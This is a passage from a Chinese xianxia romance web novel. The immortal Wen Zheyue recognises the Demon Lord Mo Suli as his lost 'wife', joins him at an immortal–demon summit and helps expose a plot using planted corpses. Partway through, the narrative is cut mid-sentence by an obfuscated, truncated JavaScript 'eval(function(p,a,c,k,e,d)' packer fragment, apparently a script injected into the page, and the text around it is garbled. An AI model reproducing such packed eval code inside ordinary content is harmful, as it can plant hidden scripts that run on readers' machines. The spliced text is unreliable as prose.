“说来也奇怪,自从折月仙尊出事之后,禁地就从无妄海中消失了,有传言称前尊主动了怒,将那禁地夷为平地了,此事流传不广,就算是魔界也鲜少人知,尊主不清楚也正常。” “这么说来,前尊主很厉害喽?” 所有魔族眼中都浮现出了向往,这千年间魔界换过将近十个尊主,但被承认的前尊主只有蔺月盏:“如何不是那仙界战神勾引前尊主,我魔族如今必定踏平了仙界。” 墨夙离不置可否,从他降生开始,魔界就不是蔺月盏做主了,他对这位前尊主的实力没有概念。 厉不厉害都是千年前的人物了,和他八竿子打不着。 仙魔会谈一直有仙界主持,魔界更像是与会者,要住在仙界安排的地方,这对魔族来说是个不小的挑战,因而以往魔尊都会找借口离开。 今年仙官也没太上心,做好了墨夙离找借口拒绝安排的准备。 墨夙离挑开轿辇,朝仙宫瞟了一眼:“你们这里会吵人睡觉吗?” 仙官不明所以,回答道:“不会。” “好,那就住下吧。” “住下,好……嗯,你要住下?!” 魔尊要在仙宫住下的消息不胫而走,很快就传遍了仙界,闻折月正百无聊赖地拉着命轨星君玩夜明珠,闻言嘲讽地掀了掀嘴角:“竟然赖着不走,他还真是色胆包天。” 命轨星君一边躲着夜明珠的袭击,一边附和:“色字头上一把刀,指不定什么时候刀就落下来了。” 刀没落,夜明珠先落了,将命轨星君砸得嗷嗷叫。 “不过就是被砸了一下,看你那样,跟破了相似的。”闻折月打量着他,轻哼,“不过你破不破相影响也不大。” “……” 啊啊啊,这是人身攻击! 命轨星君在心里骂骂咧咧,要不是理亏,他绝不会陪闻折月消遣,一条好好的小白龙,怎么就恶趣味的喜欢捉弄人呢? 简单出了气,闻折月收起了夜明珠:“你说爹爹们为什么不让我渡情劫?” “或许是预料到了你会渡劫失败。” “……” 闻折月双手垫在脑后,出神地望着不远处焕然一新的仙宫,仙魔会谈是上界最隆重的事,每次天帝都会让仙官们好好布置,致力于向魔界中人展示仙界的强盛。 今年不知抽了什么疯,竟然挂上了 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会谈即将开始,天帝怕闻折月又偷摸溜走,特地派了镇南将军来找他,昨儿个斗法把镇南将军的尊严斗碎了,闻折月多少有点理亏,没闹幺蛾子,乖乖跟他走了。 镇南将军脸色不太好,昨天尊严碎了不说,命轨星君给他算命,算了好几次都说他最近运势不太好,恐有桃花。 招桃花是好事,就算是烂桃花也无妨,但这卦算出来的偏偏是阴桃花,气得镇南将军当成掰碎了龟甲,要不是天帝拦着,命轨星君恐怕也得碎一碎。 流年不利,不用卜卦命轨星君都知道自己最近不顺。 他幽幽地叹了口气,转头一看,闻折月正盯着远处发呆,命轨星君顺着他的视线看过去,入目是一大群魔族,为首的魔尊一袭红衣,妖冶邪肆:“仙尊冷静,会谈在即,现在可不兴动手。” 闻折月脾气倔,万一上去给魔尊一枪,那这会谈就进行不下去了。 “等会谈结束后再动手也不迟,实在忍不了,你晚上蒙了面去魔尊的住处,偷偷揍他一顿。”命轨星君暗戳戳地出主意。 闻折月不为所动。 命轨星君思索了一下,难道他误会了:“你看什么呢?” “看魔尊。” “……” 闻折月眸光沉沉,脸上呈现出一种微妙的表情:“他和我失踪的娘子长得好像。” 命轨星君:“……” 命轨星君:“???” “真的好像。” 距离太远,他只看到了一闪而过的半张脸。 熟悉的感觉萦绕在心头,苏梨那张脸刻在他无数个午夜梦回里,就算化成灰了他都能认出来,闻折月眯了眯眼睛,虽然只有半张脸,但他不会看错。 命轨星君嘴角抽搐,提醒道:“魔尊是男的。” 没错,魔尊是男的,苏梨是女的,不可能是同一个人,可他们实在太像了,像到让人忽略了性别,世上哪有这么巧的事,除非……魔尊和苏梨有血缘关系! 闻折月的心思又活络起来:“你们先进去。” “那你呢?”命轨星君警惕道,“不是我说,你头顶上的刀要掉下来了。” 色字头上一把刀,刀完魔尊刀仙尊。 闻折月不屑地嗤了声:“你想多了,我看不上他。” 魔尊是个随随便便扒人衣服的色魔,怎么能和苏梨相提并论。 闻折月低下头,看了看自己的穿着。 他不喜欢这种场合,今天出门的时候随手捞了一件衣裳,素净的长衫,和盛装出席的仙官们相比,他像个毫不起眼的仙侍。 这怎么行。 闻折月掉头就走:“我有东西忘拿了,回去取一下,很快回来。” 18.第 18 章 不争馒头争口气,魔尊打扮得那么妖艳,他堂堂仙尊怎么能输,不是他臭美,而是仙界的面子要紧。 闻折月翻箱倒柜,重新换了一身装扮,银甲红衣,玉冠宝铠,腰间系着绣龙带,龙鳞护腕熠熠生辉,眉挑骄阳,风华无双。 他手握逐日枪,在云镜前左转转右看看,满意地勾起嘴角,不错,好一个英姿飒爽的仙尊,如此这般就不会被比下去了。 闻折月近些年来鲜少离开折月仙境,打扮得光彩照人更是从未有过的事,一路上遇到的仙官仙童都被吓了一大跳。 “那是……折月仙尊吗?” “仙尊竟然穿了这身战袍!” “这身战袍怎么了,衬得仙尊俊美威武,非常好啊。” “这是他刚成为仙尊时天帝送的,仙尊嫌弃太花里胡哨,说穿上了跟只开屏孔雀一样,浑身上下散发着一股求偶的气息。” “我想起来了,仙尊不想要,天帝笑骂,让他先留着,等以后遇到想求偶的对象再穿,之后仙尊就把这件战袍压箱底了。” “仙尊穿上了这件战袍,莫非……他渡劫把自己渡穷了,没衣服穿了?!” “……” “开个玩笑,没衣服穿总好过仙尊遇到想要求偶的对象了吧。” 妖族到一定年纪就会求偶,这是他们的天性,但这个词离闻折月太遥远了。 尽管有数不清的仙官上赶着想和闻折月结契,但他从没有给过眼色,久而久之,折月仙尊封心锁爱的印象深入人心,有传言说他飞升时褪去了妖身,也褪去了天性,还有传言说他不近女色是因为不举。 背地里大家都调侃闻折月不会轻易开窍,会像他爹一样孤寡几千年,仙官们面面相觑,打从心眼里希望闻折月只是穷的。 但一生热爱收藏宝物的龙又怎么会穷呢。 仙魔会谈正式开始,天帝四处寻找没看到闻折月,眉头皱了又皱:“折月人呢?” “仙尊说他忘了拿东西,要回去取一下。” “那你就让他走了?!” 镇南将军不明所以,不然呢,要他拦住闻折月? 他能拦得住那条浪里小白龙吗? 天帝显然也想到了这茬,糟心不已,闻折月要走谁都拦不住,但闻折月有一个优点,言出必行,他答应了的事就不会反悔。 或许闻折月真忘了重要的东西,天帝安慰自己。 “看天帝脸色不太好,可是发生了什么大喜事?” “……” “如果有喜事一定通知魔尊,让你同乐。”天帝假笑。 嗤,老狐狸。 “不必了,我见不得别人办喜事,也不喜欢凑热闹,要是仙界以后有什么丧事倒是可以给我发个请柬。” 一番情真意切的寒暄结束后,墨夙离大摇大摆地坐在位置上,他环视四周,毫不掩饰找人的心思:“折月仙尊是哪个?” 他倒要看看和他过不去的傻子龙长什么丑样! “回禀尊主,折月仙尊不在。” “不在?”墨夙离皱皱眉头,“仙魔会谈这么大的事,他为什么不在?” 魔族大将语气笃定:“肯定是折月仙尊不想同仙界同流合污,所以才不愿出席,仙尊心里是有魔界的,他在用这种行为告诉我们,他和魔族永远同在!” 墨夙离:“……” 这人的脑子没用,可以挖了喂狗。 墨夙离转向身旁的侍卫,这人是他刚提拔起来的,很会看眼色,是个聪明人。 他问道:“那傻子龙想不来就不来,天帝不会怪罪他吗?” “尊主听说过一句话吗,祖龙虽死魂犹在,仙界战神闻逍的修为远在天帝之上,只是天帝对其有恩,他才留在仙界,如今他只是离开,又不是死了,天帝怎敢对他的儿子发难。” 侍卫的回答中肯很多,墨夙离若有所思地支着额角:“如此说来,那傻子龙也不算太惨。” 他原本还觉得折月仙尊身世凄惨,童年孤苦,可人家有两个大佬爹,无论是仙界还是魔界都能横着走,比他命好多了。 到头来,最惨的竟是他自己。 墨夙离的心态崩了,折月仙尊说不来就不来,看来仙界对会谈也没多上心。 为折月仙尊破防完,墨夙离又想起了另一个折月,如今已经过去了一年,不知道闻折月现在怎么样了。 应该过得不错吧,他走得匆忙,但也没忘记补偿,拼着伞上的阵法全部被反噬,给闻折月留下那么多金子,足够他富足地过一辈子了。 凡人的情意短,死了娘子的寡夫很快就会续弦,不知闻折月有没有重新娶个娘子。 或许已经娶了,闻折月会和某个如花似玉的姑娘站在一起,为她撑伞,同她分享一碗馄饨……想着想着,墨夙离的心情突然不好起来。 魔尊大人眉头紧蹙,怎么回事,为什么他会产生闻折月必须为他守活寡的无耻想法莫非他也传染上魔族恶劣的占有欲了,诓着人成了亲不够,还得让人家把一辈子都搭在他身上。 墨夙离仓惶起身。 “尊主,您怎么了,脸色这么差?” 墨夙离忧心忡忡,他总不能说自己变坏了,那样肯定会被嘲笑,世人皆知魔族恶,魔尊更是恶中恶,他装也得装成大坏蛋。 “我有东西忘拿了,回去取一下。”墨夙离说完就走。 仙魔会谈期间,上下界之间的通道会暂时关闭,以防有人趁机生乱。 没睡好就是容易发疯,比如墨夙离现在就很想发疯,他想撕了封印,去下界看看闻折月。 和闻折月做那种事还是挺舒服的,都说好了伤疤忘了疼,墨夙离的腰还没好利索,心思就开始活络了。 大不了喂闻折月吃点阳痿的药,摆在魔宫里,整日看着也舒心。 是他狭隘了,床伴床伴,一半是床,另一半是伴,闻折月床上不行,但可以当他的玩伴啊,他们一起抓鱼怪包馄饨吃岂不美哉。 格局打开,他去找闻折月天经地义,理所应当。 天帝紧赶慢赶没拦住墨夙离,侍卫打圆场道:“尊主去拿东西了,他有分寸,取完就会回来的。” 天帝:“……” 他不担心,他就是心情有点复杂,有分寸的人都爱用取东西当借口吗? 闻折月刚到仙宫门口就看到离席远去的墨夙离,他犹豫了不到一秒就追了上去,魔尊大人的速度很快,却不是朝着住处去的。 会谈就要开始了,他要去哪里? 闻折月不由得好奇起来,在好奇的同时,他突然想到一个问题:他刚刚给过这位新魔尊下马威,对方会把苏梨的事告诉他吗? 够呛,魔族最记仇了。 他的正义感晚一点爆发就好了,闻折月扼腕叹息。 他转念一想,魔尊又没见过他,隐瞒身份再简单不过,魔族大多没脑子,新魔尊是个色魔,肯定特别好骗。 看来平时不出门招摇还是有好处的。 为防被其他仙官戳破谎言,闻折月还使了个易容术,这下好了,还有谁能看出他和威风凛凛英勇无敌玉树临风天下第一厉害的折月仙尊有关系。 他找机会潜伏在魔尊身边,这样既能套出苏梨的下落,又能监视魔尊,要是这色魔敢对仙官不轨,他就一枪戳过去。 闻折月敲定了计划,连忙追了上去。 只看脸就断定两人有血缘关系其实很武断,闻折月一开始也只是怀疑,但当他看到墨夙离的正脸后,一分怀疑顿时变成了九分肯定。 墨夙离和苏梨简直是一个模子里刻出来的! 他和苏梨都生不出这么像的儿子,当然这不是他想当魔尊爹的意思,他才不要一个色魔儿子,忒晦气,他和苏梨的孩子一定会善良又可爱。 闻折月暗自在心里嘀咕,可算知道苏梨为什么能做出始乱终弃他的事了,被魔尊耳濡目染,有点坏也正常。 他可以理解,也可以原谅,但前提是苏梨得好好补偿他,还要和这个大色魔断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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逐日枪铮铮作响,不知是不是察觉到了威胁,黑雾倏然退开,如同退潮一般转瞬间就没了痕迹。 墨夙离捂着肚子闭着眼睛,眉头紧拢,看起来很痛苦,闻折月的心揪了一下:“你还好吗?” 这个人和苏梨实在是太像了…… 闻折月收起逐日枪,拍了拍他的背。 要是魔尊出事了,仙魔会谈就进行不下去了,所以他不是见色起意想帮墨夙离,他只是顾全大局。 黑雾消散,狂风骤止,墨夙离在他怀里睁开了眼睛。 闻折月呼吸一窒,仿佛掉进了一潭金色漩涡中,他的心魂被拉扯着坠入墨夙离的眼底——这个人拥有和苏梨一模一样的异色眸子。 “你是谁?”恢复意识后,墨夙离立马退出了他的怀抱,目光警惕。 闻折月恍然回神,他刚才竟然生出了不想松手的念头:“我,我是看管上下界通道的仙将,见你好像遇到了麻烦,所以才出手相助。” 墨夙离的脸色沉了下来,他刚通过封印就遇到了黑雾,正想还手丹田忽然疼了起来,和上次一样,只不过这次持续的时间更长,他也使不出力量。 丹田内并无异样,就是花苞长大了很多,足足有一个拳头大小。 这花到底是什么鬼东西? 墨夙离心里发沉,直觉告诉他,丹田的异样和这朵花有关。 “是你救了我?”墨夙离打量着眼前人,平平无奇的长相,不知为何有种熟悉感,他们以前见过吗? 修行之人不喜沾因果,尤其是救命之恩。 墨夙离当机立断:“你有什么想要的吗?” 闻折月心思百转:“我想和你交个朋友,你的腰好香,不是,我的意思是你闻起来好细……不,你别误会,我不是那个意思。” 啊啊啊他到底在说什么鬼话! 墨夙离倒是接受良好,一点都没怀疑似的,善解人意地给了他一个台阶:“我明白你的意思,你是看我很厉害,所以想抱我的大腿。” 20-30 第21章 第 21 章 仙宫内的座位分为左右两席, 仙界作为东道主,天帝领着仙官们在左,墨夙离及一众魔族的座位在右侧。 闻折月一个箭步冲上来, 挤走魔族大将, 墨夙离轻飘飘地瞥了他一眼,闻折月一脸无辜道:“我怕生, 这里都是魔族,我只认识你。” “……” 你还认识对面那群仙族同僚。 墨夙离没说什么,谁坐他身边都行, 一个仙族将士光明正大地坐在他身边, 对天帝也是一种挑衅,看你偌大的仙界连个将士都留不住,人家巴巴地弃明投暗了。 闻折月不知道墨夙离心里的小九九, 他觉得墨夙离让他坐在这里是因为他比其他魔族重要, 四舍五入,他就是对墨夙离而言最重要的人。 凡事加上“最”这个前缀,闻折月都想在墨夙离心里争个第一, 这是在下界当小白脸留下的后遗症。 不好纠正。 仙界之人也不是瞎子,看到一个仙族坐在魔尊身边,两人行状亲密,全都大吃一惊,再一看那身战袍, 表情顿时变得复杂起来。 折月仙尊?! 昨儿个两人还打了一架, 南天门的牌匾都被打碎了,今天折月仙尊怎么就坐到魔尊身边去了。 仙官们百思不得其解, 暗戳戳的视线时不时往墨夙离和闻折月身上飘,没一会儿又落到天帝身上, 来回逡巡,折月仙尊要做什么?天帝怎么一点反应都没有? 天帝清了清嗓子,问道:“听说无妄海上发现了一些有趣的东西,魔尊可否说一下具体的情况?” 果然。 墨夙离早就猜到他会对提这件事,上界说大也大,说小也小,无妄海上出现十几具仙族尸体的事肯定瞒不过仙界。 “就是平白无故冒出来十几具尸体。”墨夙离懒洋洋地挑起眼帘,“无妄海上每年都会死上个千八百的人,从前也没见天帝问过,怎么今日开始好奇了?” 在没有弄清楚仙界的意图前,不能将尸体交出去,毕竟魔族私下里一直叫嚣着要杀光仙族,难免仙界不会趁机将尸体的事扣到他身上。 “魔尊伶牙俐齿,不如打开天窗说亮话。”天帝沉下声音。 其实他并不觉得墨夙离会对仙官下手,墨夙离刚刚成为魔尊,地位不稳,贸然与仙界为敌得不偿失。 再者,魔族尊主换了十几个,将领还是那十个人,都说魔界是铁打的将领流水的尊主,魔族将领最喜欢撺掇着魔尊和仙界为敌,胜了一起分功劳,败了魔尊来背锅,明摆着是借刀杀人,拿仙族来铲除异己。 有点脑子就不会被他们当枪使。 不过很可惜,魔族人均脑子含量低,过去的一千多年里,这样死掉的魔尊超过半数。 天帝打量着墨夙离,这位貌美的新魔尊看起来也不像有脑子:“仙界有一些仙官无故失踪了,此事关乎上界的安危,魔尊若是有线索,还请告知。” “仙官失踪?” 怪不得仙界要提前会谈,上界杂七杂八的仙官一箩筐,能被发现的失踪一定持续了很久,且失踪人数很多。 墨夙离看过无妄海中的尸体,不止是修为被吸干了,就连血肉也不见了,只剩下一层皱巴巴的人皮包裹着内部的骨头架子,就像是凡间扎的纸灯笼。 说他们像纸灯笼不仅是因为外表,这些尸体的脑袋和手脚都被砍掉了,脖颈处封了一圈蜜蜡,有长长的绳子从封口的蜜蜡中伸出来,乍一看就像是灯芯。 当时还有魔族提议点一下绳子看看,被墨夙离制止了,人尸灯笼,他的口味可没那么重。 墨夙离定了定心神:“恐怕要让天帝失望了,在无妄海中发现的都是尸体,失踪的仙官们或许还在某个犄角旮旯里骂你老不死呢。” “……” 世仇就是这样,就算握手言和了,还是期待着有朝一日能在对方坟头上庆祝。 墨夙离油盐不进,说的话能噎死人,天帝很郁闷,怎么一个两个都说他是老不死,活得久碍着他们了吗?! 看到墨夙离身边一脸痴迷相的闻折月,天帝心里更烦了。你是去当卧底打探消息的,不是去献殷勤的,那双眼睛都快黏在人家身上了。 短短一天的时间内,闻折月的心理已经发生了翻天覆地的变化,从发现苏梨可能是墨夙离男扮女装时的震惊,到确认的墨夙离是他娘子的过程中,他的想法变了又变。 帮他伸冤的人是苏梨,和他拜堂成亲的人是苏梨,墨夙离就是苏梨,所以让他动心的人从始至终就是墨夙离。 性别的偏差无足轻重,从他会被墨夙离吸引这一点就能看出来,就算一开始遇到的是男子身份的墨夙离,他也会心动。 对他来说,心动是石破天惊,是天光乍现,是得来不易,也是万劫不复。 与之相比,是男是女一点都不重要。 闻折月侧着身,视线黏在墨夙离身上,原本打算做的事情,在知道苏梨的身份后都做不成了。 墨夙离被他看得不自在,鸡皮疙瘩都起来了,小声道:“你干什么?” 闻折月凑近了些,学着他压低声音:“我没干什么。” 他还没想好要不要一脚踏入万劫不复的情网,只是顺应心意,想靠近一些,再靠近一些…… 两人的胳膊碰到一起,墨夙离下意识躲了躲,低声喝道:“不许再靠过来了。” 他讨厌黏黏糊糊的距离,好像他们很亲近似的。 闻折月不情不愿地盯着两人之间重新拉开的空隙,他心里不痛快了,就不愿意让别人痛快:“魔尊大人名叫墨夙离,和我讲那故事里的仙子名字好像。” 糟心的事再次被提起,墨夙离耷拉着脸如丧考批。 拜那双眼睛所赐,墨夙离不笑的时候很冷漠,浑身散发着冷气,生人勿近,稍微有点眼色的人就知道不该惹他了,但偏偏闻折月是个不会看眼色的人。 或者说,他不愿意看别人的眼色。 “墨夙离,苏梨……这故事是在京城发生的,书生死了,你的男娘子也是个短命鬼,莫非你和那仙子有什么关系?” 墨夙离阴着脸,后悔把他放在身边了,没气着天帝,倒是给他自己找了不痛快:“闭嘴,再敢消遣本尊,本尊拔了你的舌头喂狗!” “我胆子小,怕狗,魔尊大人要不要考虑一下拿我的舌头喂别的?” 比如人。 闻折月的视线落在他唇上,墨夙离说话的时候,殷红的舌头若隐若现,他想起那个带着酒味的吻,心底的欲念被勾了出来。 记不太清了,想再尝一下味道。 也许尝过之后他就知道该怎么对待墨夙离了。 墨夙离没反应过来,但直觉告诉他,这不是什么好话:“我养了一只狗,很凶,你要是让我不高兴了,我就带你去见它。” 让怕狗的人去见狗,他真是最会威胁人的聪明大坏蛋。 “你喜欢狗吗?”闻折月挑了下眉,印象中的墨夙离从来没对某种事物表现出特别的喜欢。 除了他。 在人间的时候,苏梨从来没有对其他人表现出兴趣,唯一走得近的人就是大师兄,但还没个好脸色,两相对比,苏梨对他堪称爱之入骨。 连上仙宫都要乘坐轿辇的娇气魔尊,私下里竟然会养狗,还真是……善良可爱啊! 都说情人眼里出西施,墨夙离在他眼里算半个西施,就算是皱着眉头凶人都别有一番意趣,闻折月不禁生出一种情劫难渡的感觉:“折月仙境里有数不清的奇珍异兽,还有一只上古时期的狗妖,你若喜欢,我可以送你……过去瞧瞧。” 好险,差点就说吐噜嘴了。 这话又踩到了墨夙离的雷点:“你送我去折月仙境?你和那傻子龙有交情?” 折月仙境原来叫折月秘境,是一方自然而成的天地,方位不明,历史悠久,只有秘境的主人才能打开,就连仙界之人都找不到具体入口,能进入的仅仅是位于秘境外的仙宫。 传到现在,折月仙境的主人正是那白龙化身的折月仙尊。 知道折月仙境里有狗,肯定和那傻子龙关系匪浅。 “傻子……龙?”闻折月嘴角抽搐,虽然不愿意承认,但墨夙离说的恐怕就是他,“折月仙尊英明神武,怎会是傻子,你就算打不过他也不能胡说。” 他明明超厉害超英俊的! 墨夙离气笑了:“我打不过他?” 你还记不记得自己在抱谁的大腿?? “魔尊大人。” 天帝左看右看,闻折月都像是在和墨夙离打情骂俏,什么样的消息要贴在人家身上打探。 “听说你对我们仙界的白羽军颇感兴趣,初见就欲行不轨之事,既然魔尊不愿帮忙寻找失踪的仙官,不如趁着会谈解释一下事情的原委,免得事情传出去影响魔尊的名声。” 那小白龙该不会见色起意了吧? 虽说闻折月不是没分寸的人,可墨夙离那张脸实在是蛊惑人心。 墨夙离懵了:“你说什么?” 什么白羽军,什么不轨之事,他怎么一点都听不懂。 提起这茬,闻折月的脸一下子黑了:“你真的扒过人家衣服吗?” 提到扒衣服,墨夙离顿时有了印象:“原来是这件事啊,不过就是一件衣服,你们仙界也太小气了。” 那衣服已经在下界嚯嚯完了,他怎么解释,难不成要讲一出魔尊假扮青天大老爷,智斗无能糊涂官,解救玉面书生郎的故事吗? 他可是大坏蛋,要是被人知道他背地里偷偷做好事也太丢脸了。 墨夙离承认了。 闻折月心里蹭蹭蹭冒着鬼火,感觉头顶绿得发光:“小气?” 在墨夙离眼里,这种事还能大方吗? 闻折月忽然觉得一直惦念着人间时的自己像个笑话,他认识的苏梨只是墨夙离的某一面,真正的墨夙离并不是他看到的那样。 他的一颗真心仿佛喂了狗。 “为什么要扒他的衣服?”闻折月抓住他的手腕。 那个白羽究竟有什么好的,闻折月耿耿于怀,生出一种和对方比一比的冲动,为什么墨夙离只扒白羽的衣服,没扒过他的?! 就连他们洞房的时候也没有!没有扒过他的衣服,也没有叫过他相公! 难不成是因为—— “难道你喜欢……” 他问不下去了,怕得到的答案践踏千百年来的唯一一次心动。 墨夙离不明所以:“是挺喜欢的。” 那衣服他一眼就相中了,穿上之后仙气飘飘,衬得他的双手干干净净,好像从来没有沾过血腥。 喜欢,喜欢……闻折月脑瓜子嗡了一声,仔细想想,苏梨之前从来没有对他说过喜欢,所谓的爱之入骨不过是他一个人的妄想。 手腕一紧,丹田内一阵刺痛,墨夙离“嘶”了声,突然发现他的手一直被闻折月抓着。 他还没有问过这个人的名字,可潜意识却好像习惯了对方的肢体触碰,墨夙离怔愣一瞬,忽然生出一股莫大的恐慌:“松手!” 他抽了抽胳膊,没抽出来,手像被锁链钳住了一样,动弹不得。 墨夙离心里警钟大作,顾不上会谈还在进行,掌心蓄力,强行震开了闻折月的手:“不过就是一件衣服,本尊想抢就抢,成王败寇,本尊就是抢了你们仙界的人又如何?!” ……等等,衣服?! 闻折月升腾的火气一下子熄灭了。 墨夙离站起身,魔族侍卫应声而动:“无妄海的尸体给你们也不是不行,本尊瞧着你们仙界的衣裳不错,作为交换,一套衣服换一具尸体,如何?” 仙界制作服饰会用一种特殊植物——白椿,白椿只生长在仙界禁地玉海明沼里,用白椿织的衣服可以汇聚灵气,颇受仙界中人喜爱。 这也是为什么尸体没了头颅和一身血肉修为还能辨认出是仙族的原因。 仙魔两族处于对峙状态时,魔族杀死仙族后会拿他们的衣服出去卖,随着两族握手言和,仙族的衣服在黑市上也成为了有价无市的东西。 没想到他这么容易就松了口,天帝连忙答应下来:“魔尊大义。” 墨夙离轻嗤,悄悄揉了揉手腕,让侍卫将尸体还给仙界,他本来也没打算留着这些尸体,只不过是看天帝不顺眼,想让这老不死的多生会儿气。 这样也好,白赚十几套衣服,省得他以后再去活人身上扒。 “这些尸体发现的时候就没有头,是不是仙界失踪的仙官无从得知,他们的修为没了,血肉也没了,凶手应该和你们仙界有大仇。” 如果不是大仇,犯不上这么折磨人。 墨夙离不想再看一遍尸体,嫌弃地偏过头,谁料一转过来就看到巴巴凑上来的闻折月,顿时感觉手腕更疼了。 “你,你喜欢的是……衣服啊,抱歉,是我误会了。” 闻折月恨不得把乱传谣言的命轨星君吊起来揍一顿,都怪他,害得自己误会了,还莫名其妙给墨夙离下马威,也难怪墨夙离会把他当成傻子龙。 误会什么? 墨夙离一头雾水,仔细琢磨了闻折月和天帝说的话,后知后觉地觉出不对劲,这些人该不会以为他看上的是那长翅膀的仙族人吧?! 他只是眼睛碰巧有两个颜色,不是眼神不好。 墨夙离又气又好笑:“你是傻子吗?” 闻折月不敢吱声,墨夙离的手腕都红了,明晃晃的昭示着他刚才下了多重的手,当时情绪上头,似乎连灵力都不受控制地泄露出了分毫。 这不是他第一次在墨夙离身上留下痕迹。 洞房那天,头一遭过于激动,又抱着好好表现的心思,他把苏梨折腾得浑身上下都是痕迹,青青红红,看起来好不可怜。 闻折月想,他还是没做好小白脸,在苏梨昏过去后,合格的相公应该给娘子上药,而不是揉着娘子被撑得鼓起来的小肚子咧着嘴傻笑。 “怎么,傻子又变成哑巴了?”墨夙离挑起眉,他顺着闻折月的视线看到自己的手腕,红通通的指痕颇为扎眼。 其实没什么感觉,他的皮肤白,稍一用力就会留下印子。以前四下讨生活,经常磕磕碰碰,胳膊和腿上常年都有淤青。 但闻折月不知道,他只觉得是自己用的力气太大了:“疼吗?” “……” 墨夙离狐疑地打量着他,试图从他脸上看出些许端倪,可不管怎么看,闻折月都是一副心疼的模样,心疼……他们之间犯得着这样吗? 仙界抱大腿的方式真是与众不同。 墨夙离被他看得不自在,心里突突的,比起欲言又止的关心,他更愿意直接打一架:“这些尸体是失踪的仙官吗?” 他一闪身,躲到了人群中。 天帝有一句话说得没错,仙官的失踪不仅会影响到仙界,此事牵扯甚广,今日失踪的是仙族,明日失踪的就可能是魔族,上界两族和久必打,打久必和,若是真要铲除某一族,另一族必将陷入唇亡齿寒的境地。 天帝沉重地点了下头:“虽然无法通过面部和修为辨认身份,但仙官的服饰各有不同,这些尸体和失踪名册上的仙官都能对上,除了这一具。” 他指着最边上的一具尸体,这具尸体和其他的尸体不同,除了缺少头颅和手脚,还少了一条左臂。 “这具尸体是多出来的。” 这意味着,除了已知的失踪仙官,还有人遭遇了毒手。 墨夙离盯着那具尸体,隐隐有种不好的预感:“这具尸体穿的衣服好像补过。” 在心脏的位置,有一道两指长的缝合线。 “是剑痕。”突然响起的声音吓了墨夙离一跳,闻折月不知何时追了过来,就站在他身后,“缝补的宽度和剑相似,在心脏的位置,应当是一剑穿心留下的。” 墨夙离突然发现,这个人比他还高一点。 查看尸体的仙官反驳道:“可是这具尸体上并没有伤口。” 除了用蜜蜡封住的地方,尸体的表皮完好无损,别说伤口了,就连愈合的疤痕都没有。 闻折月抬眸,语气平静:“我又没说被一剑穿心的是这具尸体,你觉得凶手会好心到杀了人后,再帮他补一补破损的衣服吗?” 仙官被噎住,哑口无言。 “难道这具尸体是……”墨夙离猜到了什么,下意识攥紧了拳头。 下一秒手就被握住了,墨夙离愣了一下,甩开,没几秒那只手就又缠了上来,黏糊糊的跟它主人一个样,每次被甩开都会乐此不疲地贴上来。 墨夙离被气笑了,突然有些好奇闻折月想做什么。 见他不再阻拦,那只手停顿了一下,下一秒就往上游走,温热的指尖贴在墨夙离的手腕上,轻轻揉着。 只是这样吗? 宽大的衣袖遮住了握在一起的手,闻折月目不斜视,一边分析尸体,一边给他揉手腕。 墨夙离瞳孔轻颤,心脏又开始突突地跳,像喝醉了一样。 尝到酒的滋味还是上次在人间,酒不醉人人自醉,闻折月按住他的后脑勺,不容分说地在他唇上撒酒疯。 这点记忆被勾了出来,心脏无端生出些许不切实际的幻想,墨夙离清楚的感知到,他有点想念他的短命鬼娘子了。 闻折月沉声道:“没错,这具尸体是魔族的。” 幼年时,他曾随蔺月盏一起去过黑市,有魔族高价买走了倒卖的仙族衣服,当时蔺月盏还打趣,说以后攻打仙界缺钱了就拿闻逍的衣服来黑市上卖。 取之于仙界,用之于仙界,正是一番因果循环。 “魔界的黑市上会倒卖仙族衣服,这应该是一位酷爱仙族服饰的魔族,买了衣服回来,补好了自己穿,结果没想到竟然会被当成仙族,还因此而死。” 闻折月的视线又转回墨夙离身上:“要不是魔尊大人发现了疑点,这桩栽赃嫁祸恐怕就要得逞了。” 尽管没有撕破脸,但仙官相继失踪之后,仙界中人第一个怀疑的就是魔族,看到尸体后,这份怀疑更加重了,窃窃私语声一直没停过,无数人暗中对着墨夙离指指点点。 闻折月全都看在眼里。 墨夙离绝对不可能是凶手,就算他有杀心,也没有时间动手,这些仙官失踪的时候,墨夙离正男扮女装和他打得火热。 “嫁祸魔尊,挑起仙魔大战,这才是凶手真正的目的。” 某个酷爱仙族服饰的魔族死了,同样酷爱仙族服饰的墨夙离心情复杂,突然觉得很晦气。 当其中一具尸体被确认是魔族后,现场的气氛顿时变了,原本想要看热闹的魔族哪里还能坐得住,恨不得立刻就能查明真相找到凶手。 “凶手到底是什么人?为什么要挑起仙魔大战?” “手段如此残忍,肯定不是个好东西。” “依我看凶手就是魔界中人,只有他们整天嚷嚷着要踏平仙界。” “可死的人还有魔族。” “要不点一下绳子,说不定会有线索。” …… 叽叽喳喳的议论声吵得人耳朵疼,根本没办法思考,墨夙离轻轻晃了下手,这点力度甩不开闻折月:“还有其他的发现吗?” 他总觉得还有什么线索被忽略了。 手腕早就不疼了,温热的手指贴在那里来回揉弄,血肉都被焐热了,墨夙离克制着收回手的冲动,偏过头,眼里是明晃晃的期待。 闻折月勾唇,从喉咙里滚出一声笑。 在下界一起吃馄饨的时候,苏梨欲拒还迎地从他碗里挑了两个,好似装傻充愣的小猫,全然不提之前自己说只吃一个尝尝的事情。 当时是讨馄饨,如今是讨线索,墨夙离惯会揣着明白装糊涂。 “魔尊大人是在贿赂我吗?” 他终于从墨夙离身上窥见了和苏梨相似的地方。 眼前的人不再是高高在上的魔尊,而是与他春风一度过的苏梨,闻折月的手紧了紧,勾住了他的指尖:“只是牵一下手,可不够报酬。” 他还是放不下,尽管墨夙离完全不符合他对苏梨的幻想。 墨夙离忍了又忍,还是没忍住:“你以前肯定没有抱过大腿。” “嗯?”闻折月挑眉,等着他的下文。 “据我所知,上下界的通道没有人驻守,你会出现在那里,八成是之前就跟着我。”墨夙离神色淡淡,他就这样说着自己的猜测,没有多余的情绪,“仙魔会谈,仙界有头有脸的人都到了,除了一个人。” 他本来想将计就计,看看这人故意接近他究竟想做什么,万万没想到,这人竟然对他动手动脚,就连看他的眼神也变得不对劲起来。 太危险了,直觉告诉他必须赶紧跑。 